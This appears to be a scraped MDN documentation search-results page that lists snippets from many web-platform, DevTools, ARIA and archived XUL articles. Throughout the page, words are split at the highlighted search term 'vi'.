visit using an index, and will then look up in moz_history using the primary key.
...And 8 more matches
Getting Started Guide
to facilitate this, all interfaces inherit from an abstract base class that pro
vides the member functions addref, and release.
...the document some com ownership guidelines pro
vides some hints on when ownership is needed.
...all good getters addref the interface pointers they produce, thus pro
viding you with an owning reference; you will hold onto the reference longer than the scope of the function in which you acquired it, e.g., you got it as a parameter, but you're hanging onto it in a member variable (see, for example, comparison 1, below).
...And 8 more matches
Creating a gloda message query
so if we had a "shape" constraint such as query.shape("square") and we combined it with the pre
vious color constraint it would match a red square, a green square, or a blue square.
... query.involves(identity1, identity2, ...): add the constraint that the message must "involve" one of the identities pro
vided.
...the folder may be a glodafolder instance (retrieved
via gloda.getfolderforfolder, which takes an nsimsgfolder) or an nsimsgfolder instance.
...And 8 more matches
Standard OS Libraries
standard libraries offer the advantage of not ha
ving to ship anything.
...for finding out the values and types of arguments and returns of the functions you want to use from this api, you must
visit the functions page on this linked msdn site; it will give you all that information.
...gnome and kde are "desktop en
vironments" (known as "de"s).
...And 8 more matches
Debugger-API - Firefox Developer Tools
the debugger interface mozilla’s javascript engine, spidermonkey, pro
vides a debugging interface named debugger which lets javascript code observe and manipulate the execution of other javascript code.
...it operates on javascript objects, stack frames, en
vironments, and code, and presents a consistent interface regardless of whether the debuggee is interpreted, compiled, or optimized.
...cross-thread, cross-process, and cross-de
vice tools must use debugger to observe the debuggee from within the same thread, and then handle any needed communication themselves.
...And 8 more matches
Settings - Firefox Developer Tools
it makes
visible the command line and one or two lines of the console output.
...there's just one of these: enable persistent logs a setting to control whether or not the web console and network monitor clear their output when you na
vigate to a new page.
... if common preferences is not included in the settings, web console logs can be persisted by using the 'about:config' url in browser address bar, searching for: 'devtools.webconsole.persistlog' then toggling this value to true inspector show browser styles a setting to control whether styles applied by the browser (user-agent styles) should be displayed in the inspector's rules
view.
...And 8 more matches
Style Editor - Firefox Developer Tools
the style editor enables you to:
view and edit all the stylesheets associated with a page create new stylesheets from scratch and apply them to the page import existing stylesheets and apply them to the page to open the style editor choose the "style editor" option from the "web developer" menu (which is a submenu in the "tools" menu on the mac).
... the toolbox will appear at the bottom of the browser window, with the style editor activated: the style editor is di
vided into three main sections: the style sheet pane on the left the editor on the right the media sidebar.
...this makes it easy to experiment with, re
vise, and test changes.
...And 8 more matches
Console messages - Firefox Developer Tools
the console then pro
vides a link to the filename and line number that generated the message.
... by default, the console is cleared each time you na
vigate to a new page or reload the current page.
... to override this beha
vior, enable persist logs in the console settings menu (gear icon).
...And 8 more matches
Managing screen orientation - Web APIs
screen orientation is something slightly different than de
vice orientation.
... even if a de
vice doesn't have the capacity to detect its own orientation, a screen always has one.
... and if a de
vice is able to know its orientation, it's good to have the ability to control the screen orientation in order to preserve or adapt the interface of a web application.
...And 8 more matches
Using dynamic styling information - Web APIs
in many cases, and where possible, it really is best practice to dynamically manipulate classes
via the classname property since the ultimate appearance of all of the styling hooks can be controlled in a single stylesheet.
... one's javascript code also becomes cleaner since instead of being dedicated to styling details, it can focus on the overall semantics of each section it is creating or manipulating, lea
ving the precise style details to the stylesheet.
... however, there are cases where actually obtaining or manipulating the rules can be useful (whether for whole stylesheets or indi
vidual elements), and that is described in further detail below.
...And 8 more matches
FileHandle API - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
...because the files manipulated through that api can be physically stored on the de
vice, the editing part uses a turn-based locking mechanism in order to avoid race issues.
... api over
view this api is based on the following interfaces: idbdatabase.mozcreatefilehandle (was called idbdatabase.mozcreatefilehandle.) idbmutablefile (was pre
viously filehandle.) lockedfile filerequest it also has connections with the file api, especially the file and blob interfaces.
...And 8 more matches
Geolocation API - Web APIs
the geolocation api allows the user to pro
vide their location to web applications if they so desire.
... the geolocation api is accessed
via a call to na
vigator.geolocation; this will cause the user's browser to ask them for permission to access their location data.
... if they accept, then the browser will use the best available functionality on the de
vice to access this information (for example, gps).
...And 8 more matches
HTMLImageElement.width - Web APIs
the width property of the htmlimageelement interface indicates the width at which the image is drawn, in css pixels if the image is being drawn or rendered to any
visual medium such as the screen or a printer; otherwise, it's the natural, pixel density corrected width of the image.
...the terms in which the width is defined depends on whether the image is being rendered to a
visual medium or not.
... if the image is being rendered to a
visual medium such as a screen or printer, the width is expressed in css pixels.
...And 8 more matches
Recommended Drag Types - Web APIs
for example, this sample text/uri-list data contains two links and a comment: http://www.mozilla.org #a second link http://www.example.com when retrie
ving a dropped link, ensure you handle when multiple links are dragged, including any comments.
...non-pri
vileged web pages canot retrieve or modify data of this type.
...similarly, when retrie
ving the data, you must use the mozgetdataat() method.
...And 8 more matches
MediaRecorder - Web APIs
the mediarecorder interface of the mediastream recording api pro
vides functionality to easily record media.
...options are available to do things like set the container's mime type (such as "
video/webm" or "
video/mp4") and the bit rates of the audio and
video tracks or a single overall bit rate.
...if this attribute is false, mediarecorder will record silence for audio and black frames for
video.
...And 8 more matches
MediaStream Recording API - Web APIs
the mediastream recording api makes it possible to capture the data generated by a mediastream or htmlmediaelement object for analysis, processing, or sa
ving to disk.
... over
view of the recording process the process of recording a stream is simple: set up a mediastream or htmlmediaelement (in the form of an <audio> or <
video> element) to serve as the source of the media data.
... once the source media is playing and you've reached the point where you're ready to record
video, call mediarecorder.start() to begin recording.
...And 8 more matches
PointerEvent - Web APIs
the pointerevent interface represents the state of a dom event produced by a pointer such as the geometry of the contact point, the de
vice type that generated the event, the amount of pressure that was applied on the contact surface, etc.
... a pointer is a hardware agnostic representation of input de
vices (such as a mouse, pen or contact point on a touch-enable surface).
...typically, this is determined by considering the pointer's location and also the
visual layout of elements in a document on screen media.
...And 8 more matches
Multi-touch interaction - Web APIs
pointer events extend dom input events to support various pointing input de
vices such as pen/stylus and touch screens as well as mouse.
... the pointer is a hardware-agnostic de
vice that can target a specific set of screen coordinates.
... ha
ving a single event model for pointers can simplify creating web sites, applications and pro
vide a good user experience regardless of the user's hardware.
...And 8 more matches
Proximity Events - Web APIs
the proximity events are a handy way to know when a user is close to a de
vice.
... these events make it possible to react to such a change, for example by shutting down the screen of a smartphone when the user is ha
ving a phone call with the de
vice close to their ear.
... note: ob
viously, the api requires the de
vice to have a proximity sensor, which are mostly available only on mobile de
vices.
...And 8 more matches
SVGElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111...
...pace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement, svgelementinstance svgelement.datasetread only a domstringmap object which pro
vides a list of key/value pairs of named data attributes which correspond to custom data attributes attached to the element.
...authors are ad
vised to use element.classlist instead.
...And 8 more matches
SubtleCrypto.importKey() - Web APIs
keydata is an arraybuffer, a typedarray, a data
view, or a jsonwebkey object containing the key in the given format.
... algorithm is a dictionary object defining the type of key to import and pro
viding extra algorithm-specific parameters.
... derivekey: the key may be used in deri
ving a new key.
...And 8 more matches
Touch events - Web APIs
to pro
vide quality support for touch-based user interfaces, touch events offer the ability to interpret finger (or stylus) acti
vity on touch screens or trackpads.
...the touch interface, which represents a single touchpoint, includes information such as the position of the touch point relative to the browser
viewport.
...its responsibility in this example is to update the cached touch information and to draw a line from the pre
vious position to the current position of each touch.
...And 8 more matches
Introduction to WebRTC protocols - Web APIs
ice interactive connecti
vity establishment (ice) is a framework to allow your web browser to connect with peers.
...it needs to bypass firewalls that would prevent opening connections, give you a unique address if like most situations your de
vice doesn’t have a public ip address, and relay data through a server if your router doesn’t allow you to directly connect with peers.
... nat network address translation (nat) is used to give your de
vice a public ip address.
...And 8 more matches
Example and tutorial: Simple synth keyboard - Web APIs
this article presents the code and working demo of a
video keyboard you can play using the mouse.
... the
video keyboard html there are three primary components to the display for our
virtual keyboard.
...we draw this in a pair of nested <div> elements so that we can make the keyboard horizontally scrollable if all the keys don't fit on the screen, without ha
ving them wrap around.
...And 8 more matches
XRInputSource.targetRaySpace - Web APIs
the read-only xrinputsource property targetrayspace returns an xrspace (typically an xrreferencespace) representing the position and orientation of the target ray in the
virtual space.
... its native origin tracks the position of the origin point of the target ray, and its orientation indicates the orientation of the controller de
vice itself.
... these values, interpreted in the context of the input source's targetraymode, can be used both to fully interpret the de
vice as an input source.
...And 8 more matches
ARIA annotations - Accessibility
an editorial comment related to a part of a document under re
view).
... aria annotations features the aria attributes pro
viding these new abilities are as follows: aria-description="" — pro
vides a detailed description of an html element, as opposed to the brief label pro
vided by aria-label.
... role="comment" — semantically denotes a comment/reaction to some content on the page, or to a pre
vious comment.
...And 8 more matches
ARIA: Region role - Accessibility
it is used to pro
vide a generic landmark for people to be able to na
vigate to easily when none of the other landmark roles are appropriate.
...landmark roles pro
vide a way to identify the organization and structure of a web page.
... by classifying and labeling sections of a page, structural information conveyed
visually through layout is represented programmatically.
...And 8 more matches
ARIA: table role - Accessibility
the table value of the aria role attribute identifies the element containing the role as ha
ving a non-interactive table structure containing data arranged in rows and columns, similar to the native <table> html element.
...the cells are not focusable or selectable, though widgets within indi
vidual cells of the table can be interactive.
... if a table maintains a selection state, has two-dimensional na
vigation, or allows the user to rearrange cell order use grid or treegrid instead.
...And 8 more matches
Web applications and ARIA FAQ - Accessibility
aria pro
vides a means to make web applications and widgets more accessible to a diverse range of users, including those who use assistive technologies such as screen readers or magnifiers.
... aria pro
vides additional semantics to describe the role, state, and functionality of many familiar user interface controls, such as menus, sliders, trees, and dialogs.
... it also pro
vides additional structural information, helping authors identify landmarks, regions, and grids on their pages.
...And 8 more matches
Alternative style sheets - CSS: Cascading Style Sheets
specifying alternative style sheets in a web page pro
vides a way for users to see multiple versions of a page, based on their needs or preferences.
... firefox lets the user select the stylesheet using the
view > page style submenu.
... internet explorer also supports this feature (beginning with ie 8), also accessed from
view > page style.
...And 8 more matches
Mastering Wrapping of Flex Items - CSS: Cascading Style Sheets
if you assign percentage widths to flex items — either as flex-basis or by adding a width to the item itself lea
ving the value of flex-basis as auto — you can get the impression of a two dimensional layout.
... collapsed items the flexbox specification details what should happen if a flex item is collapsed by setting
visibility: collapse on an item.
... see the mdn documentation for the
visibility property.
...And 8 more matches
display - CSS: Cascading Style Sheets
some values of display are fully defined in their own indi
vidual specifications; for example the detail of what happens when display: flex is declared is defined in the css flexible box model specification.
... see the table at the end of this document for all of the indi
vidual specifications.
...this will result in expected beha
vior; for example if you specify an element to be block, you would expect that the children of that element would participate in block and inline normal flow layout.
...And 8 more matches
max-width - CSS: Cascading Style Sheets
html <div id="parent"> <div id="child"> fusce pul
vinar vestibulum eros, sed luctus ex lobortis quis.
... css level 2 (re
vision 1)the definition of 'max-width' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmax-widthchrome full support 1edge full support 12firefox full support 1notes full support 1notes notes css 2.1 leaves the beha
vior of max-width with table undefined.
...And 8 more matches
min-width - CSS: Cascading Style Sheets
css level 2 (re
vision 1)the definition of 'min-width' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmin-widthchrome full support 1edge full support 12firefox full support 1notes full support 1notes notes css 2.1 leaves the beha
vior of min-width with table undefined.
... firefox supports applying min-width to table elements.ie full support 7opera full support 4notes full support 4notes notes css 2.1 leaves the beha
vior of min-width with table undefined.
...And 8 more matches
text-justify - CSS: Cascading Style Sheets
distribute exhibits the same beha
viour as inter-character; this value is kept for backwards compatibility.
...duis nisi velit, dictum id mauris
vitae, lobortis pretium quam.
... quisque sed nisi pul
vinar, consequat justo id, feugiat leo.
...And 8 more matches
Cross-browser audio basics - Developer guides
this article pro
vides: a basic guide to creating a cross-browser html5 audio player with all the associated attributes, properties, and events explained a guide to custom controls created using the media api basic audio example the code below is an example of a basic audio implementation using html5: <audio controls> <source src="audiofile.mp3" type="audio/mpeg"> <source src="audiofile.ogg" type="audio/ogg"> <!-- fallback for non supporting browsers goes here --> <p>your browser does not support html5 audio, but you can still <a href="audiofile.mp3">download the music</a>.</p> </audio> note: you can also use an mp4 file instead of mp3.
...in this case, we've pro
vided a simple paragraph including a link to download the audio directly.
... the controls attribute on the <audio> element is specified when we require the browser to pro
vide us with default playback controls.
...And 8 more matches
Orientation and motion data explained - Developer guides
this article pro
vides details about the coordinate systems at play and how you use them.
...there are two coordinate frames to consider when using orientation and motion events: earth coordinate frame the earth coordinate frame is the coordinate frame fixed on the center of the earth; that is, the axes are aligned based on the pull of gra
vity and the standard magnetic north orientation.
... the z axis is perpendicular to the ground plane; think of it as a line drawn between the de
vice and the center of the earth.
...And 8 more matches
A hybrid approach - Developer guides
this hybrid approach centers around breaking down mobile development into its three goals, and then applying the best techniques available to tackle each goal indi
vidually.
...for example, an often-criticized point about responsive web design is that full-resolution images are sent to all de
vices, including phones that show the images scaled down anyway.
... one such technique for dealing with this issue uses server-side user-agent detection along with the wurfl de
vice capability library to send a properly sized image for the user’s de
vice.
...And 8 more matches
<button>: The Button element - HTML: Hypertext Markup Language
type the default beha
vior of the button.
...(this beha
vior tends to annoy users.) button: the button has no default beha
vior, and does nothing when pressed by default.
...accessible names pro
vide information for assistive technology, such as screen readers, to access when they parse the document and generate an accessibility tree.
...And 8 more matches
<input type="month"> - HTML: Hypertext Markup Language
the control's ui varies in general from browser to browser; at the moment support is patchy, with only chrome/opera and edge on desktop — and most modern mobile browser versions — ha
ving usable implementations.
...the <datalist> pro
vides a list of predefined values to suggest to the user for this input.
...the values pro
vided are suggestions, not requirements: users can select from this predefined list or pro
vide a different value.
...And 8 more matches
<tr>: The Table Row element - HTML: Hypertext Markup Language
to pro
vide additional control over how cells fit into (or span across) columns, both <th> and <td> support the colspan attribute, which lets you specify how many columns wide the cell should be, with the default being 1.
... alignobsolete since html5 a domstring which specifies how the cell's context should be aligned horizontally within the cells in the row; this is shorthand for using align on every cell in the row indi
vidually.
...for example, when displaying money values for currencies that use hundredths of a unit (such as the dollar, which is di
vided into 100 cents), you would typically specify a value of 2, so that in tandem with char being set to ".", the values in a column would be cleanly aligned on the decimal points, with the number of cents properly displayed to the right of the decimal point.
...And 8 more matches
itemprop - HTML: Hypertext Markup Language
property values are either a string or a url and can be associated with a very wide range of elements including <audio>, <embed>, <iframe>, <img>, <link>, <object>, <source> , <track>, and <
video>.
... html <div itemscope itemtype="http://schema.org/mo
vie"> <h1 itemprop="name">avatar</h1> <span>director: <span itemprop="director">james cameron</span> (born august 16, 1954)</span> <span itemprop="genre">science fiction</span> <a href="../mo
vies/avatar-theatrical-trailer.html" itemprop="trailer">trailer</a> </div> structured data item itemprop name itemprop value itemprop name avatar itemprop director james cameron itemprop genre science fiction itemprop trailer ../mo
vies/avatar-theatrical-trailer.html properties p...
... an item with a property whose value is a product id the id is not human-friendly, so the product's name is used the human-
visible text instead of the id.
...And 8 more matches
Using the application cache - HTML: Hypertext Markup Language
as of firefox 44+, when appcache is used to pro
vide offline support for a page, a warning message displays in the console ad
vising developers to use ser
vice workers instead (bug 1204581).
... introduction html5 pro
vides an application caching mechanism that lets web applications run offline.
... an application cache gives the following benefits: offline browsing users can na
vigate a site even when they are offline.
...And 8 more matches
HTML: Hypertext Markup Language
other technologies besides html are generally used to describe a web page's appearance/presentation (css) or functionality/beha
vior (javascript).
...html markup includes special "elements" such as <head>, <title>, <body>, <header>, <footer>, <article>, <section>, <p>, <div>, <span>, <img>, <aside>, <audio>, <canvas>, <datalist>, <details>, <embed>, <nav>, <output>, <progress>, <
video>, <ul>, <ol>, <li> and many others.
... get started beginner's tutorials our html learning area features multiple modules that teach html from the ground up — no pre
vious knowledge required.
...And 8 more matches
Equality comparisons and sameness - JavaScript
thms in es2015: abstract equality comparison (==) strict equality comparison (===): used by array.prototype.indexof, array.prototype.lastindexof, and case-matching samevaluezero: used by %typedarray% and arraybuffer constructors, as well as map and set operations, and also string.prototype.includes and array.prototype.includes since es2016 samevalue: used in all other places javascript pro
vides three different value-comparison operations: === - strict equality comparison ("strict equality", "identity", "triple equals") == - abstract equality comparison ("loose equality", "double equals") object.is pro
vides samevalue (new in es2015).
... object.is does no type conversion and no special handling for nan, -0, and +0 (gi
ving it the same beha
vior as === except on those special numeric values).
...for all values except numbers, it uses the ob
vious semantics: a value is only equal to itself.
...And 8 more matches
JSON.parse() - JavaScript
an optional re
viver function can be pro
vided to perform a transformation on the resulting object before it is returned.
... syntax json.parse(text[, re
viver]) parameters text the string to parse as json.
... re
viver optional if a function, this prescribes how the value originally produced by parsing is transformed, before being returned.
...And 8 more matches
TypedArray - JavaScript
a typedarray object describes an array-like
view of an underlying binary data buffer.
... there is no global property named typedarray, nor is there a directly
visible typedarray constructor.
... buffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a new typed array
view is created that
views the specified arraybuffer.
...And 8 more matches
Animation performance and frame rate - Web Performance
animation on the web can be done
via svg, javascript, including <canvas> and webgl, css animation, <
video>, animated gifs and even animated pngs and other image types.
... for animated media, such as
video and animated gifs, the main performance concern is file size - downloading the file size fast enough to not negatively impact performance is the greatest issue.
... the developer tool's frame rate and waterfall charts pro
vide insight into the work the browser is performing to animate code.
...And 8 more matches
Media - Progressive web apps (PWAs)
for example, you are probably reading this on a de
vice with a display.
... example a document on a website has a na
vigation area that contains the primary site menu.
... in the markup language, the na
vigation area's parent element has the id nav-area.
...And 8 more matches
SVG Presentation Attributes - SVG: Scalable Vector Graphics
ing letter-spacing lighting-color marker-end marker-mid marker-start mask opacity overflow pointer-events shape-rendering solid-color solid-opacity stop-color stop-opacity stroke stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering transform unicode-bidi vector-effect
visibility word-spacing writing-mode attributes alignment-baseline it specifies how an object is aligned along the font baseline with respect to its parent.
... value: auto|baseline|super|sub|<percentage>|<length>|inherit; animatable: yes clip deprecated it defines what portion of an element is
visible.
... value: nonezero|evenodd|inherit; animatable: yes color it pro
vides a potential indirect value (currentcolor) for the fill, stroke, stop-color, flood-color and lighting-color presentation attributes.
...And 8 more matches
Paths - SVG: Scalable Vector Graphics
« pre
viousnext » the <path> element is the most powerful element in the svg library of basic shapes.
... l x y (or) l dx dy there are two abbre
viated forms for drawing horizontal and vertical lines.
...relative commands are called by using lowercase letters, and rather than mo
ving the cursor to an exact coordinate, they move it relative to its last position.
...And 8 more matches
Transport Layer Security - Web security
the security of any connection using transport layer security (tls) is hea
vily dependent upon the cipher suites and security parameters selected.
... the transport layer security (tls) protocol is the standard for enabling two networked applications or de
vices to exchange information privately and robustly.
...this article pro
vides an over
view of tls and the kinds of decisions you need to make when securing your content.
...And 8 more matches
Compiling a New C/C++ Module to WebAssembly - WebAssembly
emscripten en
vironment setup first, let's set up the required development en
vironment.
... prerequisites get the emscripten sdk, using these instructions: https://emscripten.org/docs/getting_started/downloads.html compiling an example with the en
vironment set up, let's look at how to use it to compile a c example to emscripten.
... there are a number of options available when compiling with emscripten, but the main two scenarios we'll cover are: compiling to wasm and creating html to run our code in, plus all the javascript "glue" code needed to run the wasm in the web en
vironment.
...And 8 more matches
Performance best practices in extensions - Archive of obsolete content
impro
ving startup performance extensions are loaded and run whenever a new browser window opens.
... that means every time a window opens, your extension can have an impact on how long it takes the user to see the content they're trying to
view.
...if your extension has features that only work when the user has logged into a ser
vice, don't load the resources for those features until the user actually logs in.
...And 7 more matches
Session store API - Archive of obsolete content
in order to properly restore your extension's state when a tab is restored, it needs to use the session store api's settabvalue() method to save any data it will need in order to restore its state, and then call gettabvalue() to retrieve the pre
vious setting when the tab is restored.
...if your extension wants to be able to restore data when tabs are restored, you can install a listener like this: function myextensionhandlerestore(aevent) { var tab = event.originaltarget; /* the tab being restored */ var uri = tab.linkedbrowser.contentdocument.location; /* the tab's uri */ components.classes["@mozilla.org/consoleser
vice;1"] .getser
vice(components.interfaces.nsiconsoleser
vice) .logstringmessage("restoring tab: " + uri); }; document.addeventlistener("sstabrestoring", myextensionhandlerestore, false); simply replace the contents of the function myextensionhandlerestore() with whatever you need to do when the tab is restored.
... in this example, nsiconsoleser
vice is used to display a message to the console.
...And 7 more matches
Updating addons broken by private browsing changes - Archive of obsolete content
after reading this document, contact josh matthews with further questions or clarifications, or file a bug if your extension has stopped working due to a change described here and you are ha
ving trouble updating it.
... if your code refers to any of the following interfaces: ff 15: nsidomstoragemanager ff 16: nsitransferable ff 18: imgicache moziasyncfa
vicons nsifa
viconser
vice nsiwebbrowserpersist ff 19: nsicontentprefser
vice nsidownloadmanager nsidownload nsihttpauthmanager nsistricttransportsecurityser
vice ff 20: nsiprivatebrowsingser
vice nsirecentbadcertser
vice furthermore, if your code uses any of these common chrome apis: ff 19: saveurl saveinternal openlinkin ff 20: openbrowserwindow gprivatebrowsingui finally, if your code watches for any of these observer notifications: private-browsing private-browsing-cancel-vote private-browsing-change-granted private-browsing-transition-complete then your addon will require updating to ...
... imgicache: this must no longer be obtained as a ser
vice.
...And 7 more matches
Defining Cross-Browser Tooltips - Archive of obsolete content
summary: authors are used to ha
ving alt text appear as a "tooltip" above images, but that's not how it was meant to be used.
...the classic example is a "tooltip" of an image; when the user pauses the mouse pointer over an image, the contents of the alt attribute are displayed as a "tooltip." gecko-based browsers such as mozilla, netscape 6+, and compuserve 7 do not support this beha
vior.
... see bug 25537 for a lengthy, sometimes passionate discussion of gecko's beha
vior in this regard.
...And 7 more matches
Images, Tables, and Mysterious Gaps - Archive of obsolete content
thanks to an obscure corner of the css specification, every design based on a precise layout of small images in table cells have become
visual disasters just waiting to happen.
... ob
viously most designs are a touch more complicated than this, but we don't need anything more for our purposes.
... there is one ob
vious fix-- stop creating designs that are dependent on tables and sliced up or single-pixel images-- but it's not terribly practical for many designers, and it sure doesn't help fix old designs that are suddenly blowing apart in recent browsers.
...And 7 more matches
Installing plugins to Gecko embedding browsers on Windows - Archive of obsolete content
other major commercial browsers based on gecko have committed to pro
viding these keys as well.
... some gecko-based browsers pro
vide additional information
via the registry, and where appropriate, these registry keys are also mentioned, with the necessary version caveats.
...on windows xp and windows 2000, in order to write to the registry, sometimes the software may need administrator pri
vileges.
...And 7 more matches
Drag and Drop - Archive of obsolete content
mozilla and xul pro
vide a number of events that can handle when the user attempts to drag objects around.
... a user can start dragging by holding down the mouse button and mo
ving the mouse.
...the first is a drag ser
vice, nsidragser
vice and the second is the drag session, nsidragsession.
...And 7 more matches
Using Breakpoints in Venkman - Archive of obsolete content
the dots you see in the left margin of the source code
view indicate which lines contain executable code, places where a hard breakpoint can be set.
... setting breakpoints clicking on one of these dots in the source code
view will set a breapoint at that line.
...if you execute this code again after ha
ving set this breakpoint, venkman will stop at line 81.
...And 7 more matches
XUL Events - Archive of obsolete content
any pre
viously attached listeners are disconnected.
...nt is executed when a <menu> or a <menuitem> in no longer hovered or highlighted.popuphiddenthe popuphidden event is executed when a <menupopup>, <panel> or <tooltip> has become hidden.popuphidingthe popuphiding event is executed when a <menupopup>, <panel> or <tooltip> is about to be hidden.popupshowingthe popupshowing event is executed when a <menupopup>, <panel> or <tooltip> is about to become
visible.
... the default action of the event can be prevented to prevent the popup to appear.popupshownthe popupshown event is executed when a <menupopup>, <panel> or <tooltip> has become
visible.radiostatechangethe radiostatechange event is executed when the state of a <radio> element has changed.valuechangethe valuechange event is executed when the value of an element, <progress> for example, has changed.
...And 7 more matches
Special Condition Tests - Archive of obsolete content
« pre
viousnext » there are several additional types of conditional tests that may be performed.
...for inner iterations, it will be the element with the uri attribute from the pre
vious iteration.
... here is a pre
vious example, rewritten to use the parent matching syntax: <vbox datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="*"/> <rule parent="vbox"> <action> <groupbox uri="?"> <caption label="?name"/> </groupbox> </action> </rule> <rule> <action> <label uri="?" value="?name"/> </action> </rule> </template> </vbox> pre
viously, an assign element was used to assign the tagname of the result to a variable, which was then compared in a rule condition.
...And 7 more matches
Template and Tree Listeners - Archive of obsolete content
« pre
viousnext » there are several listeners (or observers) used during the template build process, each used for different purposes.
...var somelistener = { item: null, willrebuild : function(builder) { this.item = builder.getresourceatindex(builder.root.currentindex); }, didrebuild : function(builder) { if (this.item) { var idx = builder.getindexofresource(this.item) if (idx != -1) builder.root.
view.selection.select(idx); } } }; tree.builder.addlistener(somelistener); this example is very simple and just saves and restores the selected index after a rebuild.
...(as this example uses the rdf resources directly, it requires elevated pri
vileges so you will need a chrome url to test it.) you might also guess that the builder's root property, which is used above, refers to the tree.
...And 7 more matches
Textbox (XPFE autocomplete) - Archive of obsolete content
crop type: boolean this attribute is not used and is only pro
vided for compatibility with the menulist element.
... disableautocomplete obsolete since gecko 1.9.1 type: boolean if true, the autocomplete beha
vior will be disabled.
... disableautocomplete new in thunderbird 3requires seamonkey 2.0 type: boolean if true, the autocomplete beha
vior will be disabled.
...And 7 more matches
Tree Widget Changes - Archive of obsolete content
the tree and
view methods no longer take ids as arguments when columns are used.
...for example, nsitree
view.getcellvalue() takes a row index and a nsitreecolumn as arguments, whereas before it took a row index and a column id.
... some specific changes you should now get the tree selection object from the
view, not the box object, meaning use tree.
view.selection instead of tree.treeboxobject.selection.
...And 7 more matches
Commands - Archive of obsolete content
« pre
viousnext » a command is an operation which may be invoked.
...commands pro
vide a suitable way to abstract operations from the code.
...a simple way of using commands is as follows: example: simple command example 1 : source
view <command id="cmd_openhelp" oncommand="alert('help!');"/> <button label="help" command="cmd_openhelp"/> in this example, instead of placing the oncommand attribute on the button, we instead place it on a command element.
...And 7 more matches
Creating a Skin - Archive of obsolete content
« pre
viousnext » this documentation has not updated for firefox quantum.
... the border around these four elements has been changed to give a hea
vier 3d appearance.
...mozilla composer pro
vides some icons for open and save buttons, which we'll just use here to save time.
...And 7 more matches
Focus and Selection - Archive of obsolete content
« pre
viousnext » the section will describe how to handle the focus and selection of elements.
...here is an example: example 1 : source
view <button label="button 1" tabindex="2"/> <button label="button 2" tabindex="1"/> <button label="button 3" tabindex="3"/> the focus event the focus event is used to respond when the focus is given to an element.
...example 2 : source
view <script> function displayfocus(){ var elem=document.getelementbyid('sbar'); elem.setattribute('value','enter your phone number.'); } </script> <textbox id="tbox1"/> <textbox id="tbox2" onfocus="displayfocus();"/> <description id="sbar" value=""/> the focus event, when it occurs, will call the displayfocus function.
...And 7 more matches
Introduction to RDF - Archive of obsolete content
« pre
viousnext » in this section, we'll look at rdf (resource description framework).
...mozilla pro
vides datasources for this common data so that you can easily use them.
... you can use any of the pro
vided rdf datasources to populate trees with data or you can point to an rdf file stored in xml which contains the data.
...And 7 more matches
More Event Handlers - Archive of obsolete content
« pre
viousnext » in this section, the event object is examined and additional events are described.
...a similar property currenttarget holds the element that is currently ha
ving its event listeners handled.
...example 1 : source
view <vbox oncommand="alert(event.currenttarget.tagname);"> <button label="ok"/> <checkbox label="show images"/> </vbox> stop event propagation once you handle an event, regardless of where in the propagation the event is, you will likely want to stop the event from being sent to further elements, essentially stopping the capturing or bubbling phases from continuing.
...And 7 more matches
RDF Datasources - Archive of obsolete content
« pre
viousnext » here, we'll look at additional datasources and how to use your own rdf files as datasources.
... other mozilla datasources mozilla pro
vides a number of other built-in datasources.
...the history list the history datasource pro
vides access to the user's history list which is the list of urls the user has
visited recently.
...And 7 more matches
Using nsIXULAppInfo - Archive of obsolete content
this is not useful for scripts on webpages, which should continue using the na
vigator object when it's not possible to rely on feature-detection.
...the following sections pro
vide a few examples of using nsixulappinfo from javascript.
... getting nsixulappinfo to get a component implementing nsixulappinfo use this code: var appinfo = components.classes["@mozilla.org/xre/app-info;1"] .getser
vice(components.interfaces.nsixulappinfo); (for explanation see this creating xpcom article.) getting application information after you obtained the app info component, you can read its properties to get the application's id, human-readable name, version, platform version, etc.
...And 7 more matches
tabbox - Archive of obsolete content
tab"/> </tabs> <tabpanels> <tabpanel><!-- tabpanel first elements go here --></tabpanel> <tabpanel><!-- tabpanel second elements go here --></tabpanel> <tabpanel><button label="click me"/></tabpanel> <tabpanel><!-- tabpanel fourth elements go here --></tabpanel> </tabpanels> </tabbox> attributes eventnode type: one of the values below indicates where keyboard na
vigation events are listened to.
...thus, if this attribute is not used, the tabbox or an element inside it must have the focus for the keyboard na
vigation to apply.
... parent keyboard na
vigation is captured at the parent of the tabbox.
...And 7 more matches
wizard - Archive of obsolete content
this element pro
vides the header and buttons along the bottom, and also handles na
vigation between the pages.
... values for window type as found on mxr: http://mxr.mozilla.org/mozilla-release/search?string=windowtype na
vigator:browser - looks like if window has gbrowser it has this window type devtools:scratchpad - scratchpad windows na
vigator:
view-source - the
view source windows properties canadvance type: boolean this property is set to true if the user can press the next button to go to the next page.
... if this property is false, the user cannot na
vigate to the next page.
...And 7 more matches
Building XULRunner with Python - Archive of obsolete content
or, if you are interested in working with xulrunner with python on linux, see mark lise's post with the python extensions enabled xulrunner pro
vides python script access to the dom and xpcom in addition to the usual java script.
...this page pro
vides instructions in the hope of eliminating much trial and error.
...of particular interested is access to msaa and iaccessible2
via the python comtypes package.
...And 7 more matches
application/http-index-format specification - Archive of obsolete content
the application/http-index-format file format is an attempt to pro
vide a generic, extensible file listing format that is principly machine readable.
...this data should be presented to the user when they are
viewing data drawn from the file.
...this data should be presented to the user when they are
